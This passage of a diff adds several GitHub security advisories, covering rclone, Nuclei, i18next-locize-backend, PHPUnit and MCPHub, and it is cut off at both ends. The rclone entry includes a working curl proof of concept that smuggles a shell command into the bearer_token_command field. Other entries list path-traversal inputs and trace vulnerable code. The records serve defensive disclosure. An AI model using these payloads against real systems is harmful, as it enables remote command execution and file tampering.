"crates.io", + "name": "nimiq-blockchain" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.2.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/security/advisories/GHSA-j99g-7rqw-q9jg" + }, + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/pull/3656" + }, + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/commit/6f5511309c199d84b012fe6b9aba7e5582892c50" + }, + { + "type": "PACKAGE", + "url": "https://github.com/nimiq/core-rs-albatross" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-20", + "CWE-617", + "CWE-754" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T19:23:55Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-jfwf-28xr-xw6q/GHSA-jfwf-28xr-xw6q.json b/advisories/github-reviewed/2026/04/GHSA-jfwf-28xr-xw6q/GHSA-jfwf-28xr-xw6q.json new file mode 100644 index 0000000000000..72d057b7bed20 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-jfwf-28xr-xw6q/GHSA-jfwf-28xr-xw6q.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-jfwf-28xr-xw6q", + "modified": "2026-04-22T14:45:10Z", + "published": "2026-04-22T14:45:10Z", + "aliases": [ + "CVE-2026-41179" + ], + "summary": "RClone: Unauthenticated operations/fsinfo allows attacker-controlled backend instantiation and local command execution", + "details": "### Summary\nThe RC endpoint `operations/fsinfo` is exposed without `AuthRequired: true` and accepts attacker-controlled `fs` input. Because `rc.GetFs(...)` supports inline backend definitions, an unauthenticated attacker can instantiate an attacker-controlled backend on demand. For the WebDAV backend, `bearer_token_command` is executed during backend initialization, making single-request unauthenticated local command execution possible on reachable RC deployments without global HTTP authentication.\n\n### Preconditions\n\nPreconditions for this vulnerability are:\n\n- The rclone remote control API **must** be enabled, either by the `--rc` flag or by running the `rclone rcd` server\n- The remote control API **must** be reachable by the attacker - by default rclone only serves the rc to localhost unless the `--rc-addr` flag is in use\n- The rc must have been deployed **without** global RC HTTP authentication - so not using `--rc-user`/`--rc-pass`/`--rc-htpasswd`/etc\n\n\n### Details\nThe root cause consists of the following pieces:\n\n1. `operations/fsinfo` is not protected with `AuthRequired: true`\n2. `operations/fsinfo` calls `rc.GetFs(...)` on attacker-controlled input\n3. `rc.GetFs(...)` supports inline backend creation through object-valued `fs`\n4. WebDAV backend initialization executes `bearer_token_command`\n\nRelevant code paths:\n\n- [`fs/operations/rc.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/operations/rc.go)\n - `operations/fsinfo` is registered without `AuthRequired: true`\n - `rcFsInfo()` calls `rc.GetFs(ctx, in)`\n\n- [`fs/rc/cache.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/cache.go)\n - `GetFs()` / `GetFsNamed()` can parse an object-valued `fs`\n - `getConfigMap()` converts attacker-controlled JSON into a backend config string\n\n- [`backend/webdav/webdav.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/backend/webdav/webdav.go)\n - `bearer_token_command` is a supported backend option\n - `NewFs(...)` calls `fetchAndSetBearerToken()` when `bearer_token_command` is set\n - `fetchBearerToken()` invokes `exec.Command(...)`\n\nThis creates a practical single-request unauthenticated command-execution primitive on reachable RC servers without global HTTP authentication.\n\nThis was alidated on:\n- current `master` as of 2026-04-14: `bf55d5e6d37fd86164a87782191f9e1ffcaafa82`\n- latest public release tested locally: `v1.73.4`\n\nThis was also validated on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).\n\n### PoC\n#### Minimal single-request form PoC\nStart a vulnerable RC server:\n\n```bash\nrclone rcd --rc-addr 127.0.0.1:5572\n```\n\nNo `--rc-user`, no `--rc-pass`, no `--rc-htpasswd`.\n\nThen send a single request:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \\\n --data-urlencode \"fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/touch /tmp/rclone_fsinfo_rce_poc_marker':\"\n```\n\nExpected result:\n- HTTP 200 JSON response from `operations/fsinfo`\n- `/tmp/rclone_fsinfo_rce_poc_marker` is created on the host\n\n### Impact\nThis is effectively a single-request unauthenticated command-execution vulnerability on reachable RC deployments without global HTTP authentication.\n\nIn practice, command execution in the rclone process context can lead to higher-impact outcomes such as local file read, file write, or shell access, depending on the deployed environment.\n\n#### Testing performed\nThis was successfully reproduced:\n- on a local test environment\n- on a public amd64 Ubuntu host controlled by the tester\n\nOn the public host it was confirmed:\n\n- the unauthenticated `operations/fsinfo` exploit worked\n- command execution occurred on the host\n- the issue was reproducible through direct host execution", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/rclone/rclone" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.48.0" + }, + { + "fixed": "1.73.5" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.73.4" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/rclone/rclone/security/advisories/GHSA-jfwf-28xr-xw6q" + }, + { + "type": "PACKAGE", + "url": "https://github.com/rclone/rclone" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-306", + "CWE-78" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T14:45:10Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-jm34-66cf-qpvr/GHSA-jm34-66cf-qpvr.json b/advisories/github-reviewed/2026/04/GHSA-jm34-66cf-qpvr/GHSA-jm34-66cf-qpvr.json new file mode 100644 index 0000000000000..26051be4d02a6 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-jm34-66cf-qpvr/GHSA-jm34-66cf-qpvr.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-jm34-66cf-qpvr", + "modified": "2026-04-22T19:59:14Z", + "published": "2026-04-22T19:59:14Z", + "aliases": [ + "CVE-2026-41645" + ], + "summary": "Nuclei: Environment variable disclosure via Response-Derived DSL Expressions", + "details": "A vulnerability in Nuclei's expression evaluation engine makes it possible for a malicious target server to inject and execute supported DSL expressions. This happens when HTTP response data containing helper/function syntax gets reused by multi-step templates. If the `-env-vars` / `-ev` option is explicitly enabled, this can expose host environment variables. That option is off by default, so standard configurations are not affected by the information disclosure risk.\n\n**Affected Component**\n\nThe issue lives in `expressions.Evaluate()` at `pkg/protocols/common/expressions/` and in the unresolved-variable validation path (`hasLiteralsOnly()`).\n\n**Description**\n\n`expressions.Evaluate()` replaces placeholders first, then scans the substituted output for expressions. Because of this two-pass approach, response-derived values (including extractor output and response body content) can be reinterpreted as DSL/helper syntax on the second pass.\n\nWhen `-env-vars` (`-ev`) is enabled, environment variables get merged into the template variable map. A malicious target can return response data containing expressions like `{{env_var_name}}` which, when reused in a subsequent template request, resolve to actual environment variable values. This can expose sensitive host data like API keys, credentials, and tokens.\n\nWithout `-ev` enabled (the default), injected DSL expressions may still trigger helper functions such as `{{md5(\"test\")}}`, but this has no meaningful security impact beyond unexpected behavior.\n\nThere is also a separate issue in `hasLiteralsOnly()`: it was evaluating helper expressions while deciding whether `{{...}}` contained unresolved variables, which caused validation logic to run side-effectful helpers even when the final request kept the value as a literal.\n\n> [!NOTE]\nThe `-env-vars` / `-ev` option is off by default. Users who have not explicitly turned it on are not affected by the information disclosure aspect of this vulnerability.\n\n**Affected Users**\n\n- **CLI users** running multi-step templates (with extractors or flow-based request chaining) that reuse response-derived values against untrusted or attacker-controlled targets, with the `-ev` flag enabled.\n- **SDK users** who have integrated Nuclei into platforms where `EnvironmentVariables` is set to `true` and scan targets are not fully trusted.\n\n**Patches**\n\n- The vulnerability is fixed in Nuclei v3.8.0. Upgrading to this version is strongly recommended.\n- Relevant fix references: #7221, #7321.\n\n**Mitigation**\n\nUpgrade to Nuclei v3.8.0. The updated evaluation logic now collects expressions from the original template text before placeholder substitution and only evaluates those template-authored expressions.\n\nIf you have `-ev` enabled, disable it when scanning untrusted targets to avoid environment variable disclosure.\n\n**Workarounds**\n\nIf upgrading is not an option right now, make sure `-env-vars` / `-ev` is not enabled when running multi-step templates against untrusted targets.\n\n**Acknowledgments**\n\nNuclei thanks @gnuletik for reporting this issue through responsible disclosure via security@projectdiscovery.io", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/projectdiscovery/nuclei/v3" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.0.0" + }, + { + "fixed": "3.8.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-jm34-66cf-qpvr" + }, + { + "type": "WEB", + "url": "https://github.com/projectdiscovery/nuclei/pull/7221" + }, + { + "type": "WEB", + "url": "https://github.com/projectdiscovery/nuclei/pull/7321" + }, + { + "type": "PACKAGE", + "url": "https://github.com/projectdiscovery/nuclei" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-94" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T19:59:14Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-mgcp-mfp8-3q45/GHSA-mgcp-mfp8-3q45.json b/advisories/github-reviewed/2026/04/GHSA-mgcp-mfp8-3q45/GHSA-mgcp-mfp8-3q45.json new file mode 100644 index 0000000000000..a99a0e347dbf3 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-mgcp-mfp8-3q45/GHSA-mgcp-mfp8-3q45.json @@ -0,0 +1,64 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-mgcp-mfp8-3q45", + "modified": "2026-04-22T20:28:27Z", + "published": "2026-04-22T20:28:27Z", + "aliases": [], + "summary": "i18next-locize-backend has URL Injection via Unsanitized Path Parameters", + "details": "### Summary\n\nVersions of `i18next-locize-backend` prior to 9.0.2 interpolate `lng`, `ns`, `projectId`, and `version` directly into the configured `loadPath` / `privatePath` / `addPath` / `updatePath` / `getLanguagesPath` URL templates with no path-component validation and no encoding. When an application exposes any of these values to user-controlled input (`?lng=` / `?ns=` query parameters via `i18next-browser-languagedetector`, cookies, request headers, or a URL-derived `projectId`), a crafted value can change the structure of the outgoing request URL.\n\nAffected call sites in `lib/index.js` (pre-patch): the `interpolate()` helper is used at the five URL-build sites — `_readAny`/`read` (line 415 for private, 426 for public), `getLanguages` (lines 271 and 296), and `writePage` (lines 616 and 622) for the missing-key and update POST paths. The helper `interpolate` in `lib/utils.js` substitutes raw values with no encoding.\n\n### Impact\n\nAn attacker who can influence `lng`, `ns`, `projectId`, or `version` can:\n\n- **Path traversal** — `lng = '../../admin'` against `https://api.locize.app/{{projectId}}/{{version}}/{{lng}}/{{ns}}` changes the request URL path segment that reaches the locize CDN / API.\n- **Query-string injection** — `lng = 'en?x=y'` appends an attacker-chosen query to the URL.\n- **Fragment truncation** — `lng = 'en#x'` silently truncates the path in browser fetches.\n- **URL-encoded bypass** — `lng = 'en%2F..'` leverages server-side decoding to reintroduce `/..`.\n\nThe worst-case concrete impact is loading an unintended translation resource (potentially causing wrong content to render) and, when a custom `loadPath` is configured against an internal / file-scheme URL, **SSRF or arbitrary-file read** on the host running the backend.\n\nAdditionally, the pre-patch `interpolate()` function read `data[key]` without excluding prototype-chain properties — under prototype-pollution conditions in the same process, that path could pull values from `Object.prototype` into the URL.\n\n### Related fixes shipped in 9.0.2\n\n- The `defaults()` helper replaces `for...in` iteration with `Object.keys()` plus an explicit prototype-key guard so a polluted `Object.prototype` cannot leak into the merged options object.\n- New `utils.interpolateUrl` / `isSafeUrlSegment` / `sanitizeLogValue` / `redactUrlCredentials` helpers mirror the pattern shipped in `i18next-http-backend@3.0.5` (see its advisory [GHSA-q89c-q3h5-w34g](https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-q89c-q3h5-w34g)).\n\n### Affected versions\n\nAll versions of `i18next-locize-backend` prior to **9.0.2**.\n\n### Patch\n\nFixed in **9.0.2**. `lib/index.js` now uses `interpolateUrl()` at every URL-build site and returns an error callback (or silently drops the queued write for `writePage`) when any interpolated value fails the safety check. Legitimate i18next language-code shapes (BCP-47, `en_US`, `zh-Hant-HK`, `my-custom.ns`, `+`-joined multi-language values) all pass.\n\n### Workarounds\n\nNo workaround short of upgrading. If you cannot upgrade immediately, sanitise `lng` / `ns` / `projectId` / `version` at your application boundary before passing them through to i18next — reject values containing `..`, `/`, `\\`, `?`, `#`, `%`, whitespace, control characters, and cap the length.\n\n### Credits\n\nDiscovered via an internal security audit of the i18next / locize ecosystem.\n\n### References\n\n- [CWE-22: Path Traversal](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-74: Injection](https://cwe.mitre.org/data/definitions/74.html)\n- [CWE-1321: Prototype Pollution (amplification path)](https://cwe.mitre.org/data/definitions/1321.html)\n- Related advisory in the same ecosystem: [GHSA-q89c-q3h5-w34g (i18next-http-backend)](https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-q89c-q3h5-w34g)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "i18next-locize-backend" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "9.0.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/locize/i18next-locize-backend/security/advisories/GHSA-mgcp-mfp8-3q45" + }, + { + "type": "WEB", + "url": "https://github.com/locize/i18next-locize-backend/commit/8f81ad4707aa0e90647fde4da5fbe5b23153c6e1" + }, + { + "type": "PACKAGE", + "url": "https://github.com/locize/i18next-locize-backend" + }, + { + "type": "WEB", + "url": "https://github.com/locize/i18next-locize-backend/releases/tag/v9.0.2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22", + "CWE-74" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T20:28:27Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-mh6w-vxff-9wqp/GHSA-mh6w-vxff-9wqp.json b/advisories/github-reviewed/2026/04/GHSA-mh6w-vxff-9wqp/GHSA-mh6w-vxff-9wqp.json new file mode 100644 index 0000000000000..b7a4be8d8ac4b --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-mh6w-vxff-9wqp/GHSA-mh6w-vxff-9wqp.json @@ -0,0 +1,87 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-mh6w-vxff-9wqp", + "modified": "2026-04-22T14:56:07Z", + "published": "2026-04-22T14:56:07Z", + "aliases": [], + "summary": "PHPUnit: Argument injection via newline in PHP INI values forwarded to child processes", + "details": "# Impact\n\nPHPUnit forwards PHP INI settings to child processes (used for isolated/PHPT test execution) as `-d name=value` command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets `\"` as a string delimiter, `;` as the start of a comment, and most importantly a newline as a directive separator, a value containing a newline is parsed by the child process as **multiple INI directives**.\n\nAn attacker able to influence a single INI value can therefore inject arbitrary additional directives into the child's configuration, including `auto_prepend_file`, `extension`, `disable_functions`, `open_basedir`, and others. Setting `auto_prepend_file` to an attacker-controlled path yields **remote code execution** in the child process.\n\n**Sources of INI values that participate in the attack:**\n\n- `` entries in `phpunit.xml` / `phpunit.xml.dist`\n- INI settings inherited from the host PHP runtime via `ini_get_all()`\n\n## Threat Model\n\nExploitation requires the attacker to control the content of an INI value read by PHPUnit. In practice this means write access to the project's `phpunit.xml`, the host `php.ini`, or the PHP binary's environment. The most realistic exposure is **Poisoned Pipeline Execution (PPE)**: a pull request from an untrusted contributor that modifies `phpunit.xml` to include a newline-containing INI value, executed by a CI system that runs PHPUnit against the PR without isolation. A malicious newline is not visibly distinguishable from a legitimate value in a typical diff review.\n\n## Affected Component\n\n`PHPUnit\\Util\\PHP\\JobRunner::settingsToParameters()`\n\n## Patches\n\nThe fix has two parts:\n\n### 1. Reject line-break characters\n\nBecause a newline or carriage return in an INI value has no legitimate use and is the primitive that enables directive injection, any PHP setting value containing `\\n` or `\\r` is now rejected with an explicit `PhpProcessException`. This follows the same \"visibility over silence\" principle applied in **CVE-2026-24765**: the anomalous state fails loudly in CI output rather than being silently sanitized, giving operators an opportunity to investigate whether it reflects tampering, environment contamination, or an unexpected upstream change.\n\n### 2. Quote remaining metacharacters\n\nValues containing `\"` or `;`, both of which have legitimate uses (e.g., regex-valued INI settings such as ddtrace's `datadog.appsec.obfuscation_parameter_value_regexp`), are wrapped in double quotes with inner `\"` escaped as `\\\"`, so PHP's INI parser reads them as literal string contents rather than comment/delimiter tokens. Plain values are forwarded unchanged so that boolean keywords (`On`/`Off`) and bitwise expressions (`E_ALL & ~E_NOTICE`) retain their INI semantics.\n\n## Workarounds\n\nIf upgrading is not immediately possible:\n\n1. **Audit INI values:** Ensure no `` entry in `phpunit.xml` / `phpunit.xml.dist` contains newline, `\"`, or `;` characters, and that nothing writes such values into configuration at build time.\n2. **Isolate CI execution of untrusted code:** Run PHPUnit against pull requests only in ephemeral, containerized runners that discard filesystem state between jobs; require human review before executing PRs from forks; enforce branch protection on workflows that handle secrets (`pull_request_target` and similar). These mitigations apply to the broader PPE risk class and are effective against this vulnerability as well.\n3. **Restrict who can modify `phpunit.xml`:** Treat `phpunit.xml` as security-sensitive in code review, particularly `` entries.\n4. **Sanitize host INI:** Ensure the host PHP's `php.ini` does not contain values with embedded newlines or unescaped metacharacters.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "phpunit/phpunit" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "12.5.21" + }, + { + "fixed": "12.5.22" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "phpunit/phpunit" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "13.1.5" + }, + { + "fixed": "13.1.6" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/sebastianbergmann/phpunit/security/advisories/GHSA-qrr6-mg7r-m243" + }, + { + "type": "WEB", + "url": "https://github.com/sebastianbergmann/phpunit/pull/6592" + }, + { + "type": "WEB", + "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/phpunit/phpunit/GHSA-qrr6-mg7r-m243.yaml" + }, + { + "type": "PACKAGE", + "url": "https://github.com/sebastianbergmann/phpunit" + }, + { + "type": "WEB", + "url": "https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-88", + "CWE-93" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T14:56:07Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-p3h2-2j4p-p83g/GHSA-p3h2-2j4p-p83g.json b/advisories/github-reviewed/2026/04/GHSA-p3h2-2j4p-p83g/GHSA-p3h2-2j4p-p83g.json new file mode 100644 index 0000000000000..e12aa59bf389e --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-p3h2-2j4p-p83g/GHSA-p3h2-2j4p-p83g.json @@ -0,0 +1,59 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-p3h2-2j4p-p83g", + "modified": "2026-04-22T20:50:19Z", + "published": "2026-04-22T20:50:19Z", + "aliases": [], + "summary": "MCPHub has Path Traversal via Malicious MCPB Manifest Name", + "details": "The MCPB file upload handler extracts a ZIP file and reads `manifest.json` from it. The `name` field from the manifest is concatenated directly into the file path (line 107) without any sanitization or path traversal character validation. An attacker can craft a malicious MCPB file with `manifest.name` set to `'../../../etc/malicious'` or similar, causing files to be extracted to arbitrary locations on the file system. The `cleanupOldMcpbServer` function (line 110) also uses the unsanitized name, potentially allowing arbitrary directory deletion.\n\n## 1. Summary\n- **Vulnerability Type**: Path Traversal\n- **Flagged Location**: `src/controllers/mcpbController.ts:107`\n- **Vulnerability Description**: The `name` field in the uploaded MCPB manifest is used directly to construct file system paths for directory creation and move operations without sanitization or normalization, potentially leading to a path traversal attack.\n\n## 2. Analysis Logic\n\n### Step 1: Inspect the flagged sink (`src/controllers/mcpbController.ts:106-116`)\nI reviewed the upload handler and located the file system sink where `manifest.name` is used to construct the final extraction path and where files are written to that path.\n\n```ts\n// src/controllers/mcpbController.ts:106-116\n// Use server name as the final extract directory for automatic version management\nconst finalExtractDir = path.join(path.dirname(mcpbFilePath), `server-${manifest.name}`);\n\n// Clean up any existing version of this server\ncleanupOldMcpbServer(manifest.name);\nif (!fs.existsSync(finalExtractDir)) {\n fs.mkdirSync(finalExtractDir, { recursive: true });\n}\n\n// Move the temporary directory to the final location\nfs.renameSync(tempExtractDir, finalExtractDir);\n```\n\nAnalysis: `manifest.name` is used to build `finalExtractDir`, which is then operated on by `fs.mkdirSync` and `fs.renameSync`. These are file system write/move operations, so if `name` is user-controllable and unsanitized, this is a path traversal sink. Next, I traced the source of `manifest.name`.\n\n### Step 2: Trace the source of `manifest.name` in the upload handler (`src/controllers/mcpbController.ts:83-104`)\nI traced the data flow backward to see how the manifest is read and validated.\n\n```ts\n// src/controllers/mcpbController.ts:83-104\nconst manifestPath = path.join(tempExtractDir, 'manifest.json');\nif (!fs.existsSync(manifestPath)) {\n throw new Error('manifest.json not found in MCPB file');\n}\n\nconst manifestContent = fs.readFileSync(manifestPath, 'utf-8');\nconst manifest = JSON.parse(manifestContent);\n\n// Validate required fields in manifest\nif (!manifest.manifest_version) {\n throw new Error('Invalid manifest: missing manifest_version');\n}\nif (!manifest.name) {\n throw new Error('Invalid manifest: missing name');\n}\n```\n\nAnalysis: `manifest` is parsed directly from the `manifest.json` inside the uploaded archive. The only check on `manifest.name` is non-emptiness; there is no sanitization, normalization, or whitelist validation. Next, I confirmed the entry point for uploading MCPB files to verify user control.\n\n### Step 3: Trace the HTTP entry point in `src/routes/index.ts:297-299`\nI located the route that exposes the upload handler.\n\n```ts\n// src/routes/index.ts:297-299\n// MCPB upload routes\nrouter.post('/mcpb/upload', uploadMiddleware, uploadMcpbFile);\n```\n\nAnalysis: The `/mcpb/upload` endpoint invokes `uploadMiddleware` and `uploadMcpbFile`, so user-supplied uploads are the source of the manifest content. Next, I confirmed the behavior of the upload middleware.\n\n### Step 4: Confirm the upload middleware (`src/controllers/mcpbController.ts:8-38`)\nI examined how uploaded files are received and stored.\n\n```ts\n// src/controllers/mcpbController.ts:8-38\nconst storage = multer.diskStorage({\n destination: (_req, _file, cb) => {\n const uploadDir = path.join(process.cwd(), 'data/uploads/mcpb');\n if (!fs.existsSync(uploadDir)) {\n fs.mkdirSync(uploadDir, { recursive: true });\n }\n cb(null, uploadDir);\n },\n filename: (_req, file, cb) => {\n const timestamp = Date.now();\n const originalName = path.parse(file.originalname).name;\n cb(null, `${originalName}-${timestamp}.mcpb`);\n },\n});\n\nconst upload = multer({\n storage,\n fileFilter: (_req, file, cb) => {\n if (file.originalname.endsWith('.mcpb')) {\n cb(null, true);\n } else {\n cb(new Error('Only .mcpb files are allowed'));\n }\n },\n limits: {\n fileSize: 500 * 1024 * 1024, // 500MB limit\n },\n});\n\nexport const uploadMiddleware = upload.single('mcpbFile');\n```\n\nAnalysis: The upload middleware only checks the file extension and size. It does not restrict or validate the contents of the archive or `manifest.name`. Therefore, `manifest.name` is user-controllable input. Next, I checked whether any sanitization or normalization is applied before reaching the sink.\n\n### Step 5: Verify the lack of path validation for `manifest.name` at `src/controllers/mcpbController.ts:92-110`\nI verified that no path sanitization is performed between parsing and use.\n\n```ts\n// src/controllers/mcpbController.ts:92-110\nif (!manifest.name) {\n throw new Error('Invalid manifest: missing name');\n}\n// ...\nconst finalExtractDir = path.join(path.dirname(mcpbFilePath), `server-${manifest.name}`);\ncleanupOldMcpbServer(manifest.name);\n```\n\nAnalysis: There is no `path.resolve`/`realpath` check, no use of `basename()`, and no whitelist validation before `manifest.name` is used to construct the file system path. This confirms the path is built from untrusted input with no defenses.\n\n### Step 6: Inspect cleanup behavior using the unsanitized name (`src/controllers/mcpbController.ts:41-52`)\nI verified how `cleanupOldMcpbServer` uses the same input.\n\n```ts\n// src/controllers/mcpbController.ts:41-52\nconst uploadDir = path.join(process.cwd(), 'data/uploads/mcpb');\nconst serverPattern = `server-${serverName}`;\n\nif (fs.existsSync(uploadDir)) {\n const files = fs.readdirSync(uploadDir);\n files.forEach((file) => {\n if (file.startsWith(serverPattern)) {\n const filePath = path.join(uploadDir, file);\n if (fs.statSync(filePath).isDirectory()) {\n fs.rmSync(filePath, { recursive: true, force: true });\n }\n }\n });\n}\n```\n\nAnalysis: `serverName` is used without validation, but the deletion operation is constrained to directories that already exist within `uploadDir` as returned by `readdirSync`. The primary traversal risk remains in the path construction for `finalExtractDir` and the subsequent file system operations.\n\n### Analysis Process\n- Q1: Does user-controllable input influence the file path? → **Yes**. `manifest.name` is read from the uploaded archive's `manifest.json` and used in `path.join(...)` to construct `finalExtractDir` (`src/controllers/mcpbController.ts:89-110`).\n- Q2: Is the path normalized and validated against a base directory? → **No**. There is no `resolve`/`realpath` + `startsWith` check before `fs.mkdirSync`/`fs.renameSync` (`src/controllers/mcpbController.ts:106-116`).\n- Q3: Is `basename()`/`getName()` used to strip directory components? → **No**. `manifest.name` is used directly in a template string (`src/controllers/mcpbController.ts:106-107`).\n- Q4: Is there an effective allow-list of valid file names? → **No**. Only an existence check is performed on `manifest.name` (`src/controllers/mcpbController.ts:92-97`).\n- Q5: Is the code in a test/demo/deprecated/generated context? → **No**. This is a production controller and route (`src/controllers/mcpbController.ts:64-130`, `src/routes/index.ts:297-299`).\n- → Reached leaf node: **Real Vulnerability** (TP)\n\n## 3. Conclusion\n**Real Vulnerability**\n\n**Key Evidence:**\n- `manifest.name` flows directly into `finalExtractDir` and is used by `fs.mkdirSync` and `fs.renameSync` without sanitization (`src/controllers/mcpbController.ts:106-116`).\n- `manifest.name` is parsed from the `manifest.json` inside the uploaded archive with only a non-empty check (`src/controllers/mcpbController.ts:89-97`).\n- The `/mcpb/upload` endpoint exposes the upload handler that processes user-supplied archives (`src/routes/index.ts:297-299`).\n\n## 4. Remediation Recommendations\n- Before using `manifest.name` to construct `finalExtractDir`, add normalization and base-directory validation (e.g., `` const resolved = path.resolve(baseDir, `server-${safeName}`); if (!resolved.startsWith(baseDir)) reject; ``).\n- Use `path.basename()` to strip directory components from `manifest.name`, and enforce a strict character whitelist (letters, digits, `_`, `-`, `.`) before use.\n- Consider rejecting any `manifest.name` containing path separators or traversal sequences, and add unit tests for traversal inputs.\n\n---\n\n*Translated from: Chinese (Simplified) to English using GitHub Copilot*", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@samanhappy/mcphub" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.12.13" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/samanhappy/mcphub/security/advisories/GHSA-p3h2-2j4p-p83g" + }, + { + "type": "WEB", + "url": "https://github.com/samanhappy/mcphub/commit/af5b013c09bb0add6b7ad9aaa5b875cf150d2a7c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/samanhappy/mcphub" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T20:50:19Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-pf4j-pf3w-95f9/GHSA-pf4j-pf3w-95f9.json b/advisories/github-reviewed/2026/04/GHSA-pf4j-pf3w-95f9/GHSA-pf4j-pf3w-95f9.json new file mode 100644 index 0000000000000..a52ef05500f46 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-pf4j-pf3w-95f9/GHSA-pf4j-pf3w-95f9.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-pf4j-pf3w-95f9", + "modified": "2026-04-22T19:22:53Z", + "published": "2026-04-22T19:22:53Z", + "aliases": [ + "CVE-2026-34068" + ], + "summary": "nimiq-transaction: UpdateValidator transactions allows voting key change without proof-of-knowledge", + "details": "### Impact\nThe staking contract accepts `UpdateValidator` transactions that set `new_voting_key=Some(...)` while omitting `new_proof_of_knowledge`. this skips the proof-of-knowledge requirement that is needed to prevent BLS rogue-key attacks when public keys are aggregated.\n\nBecause tendermint macro block justification verification aggregates validator voting keys and verifies a single aggregated BLS signature against that aggregate public key, a rogue-key voting key in the validator set can allow 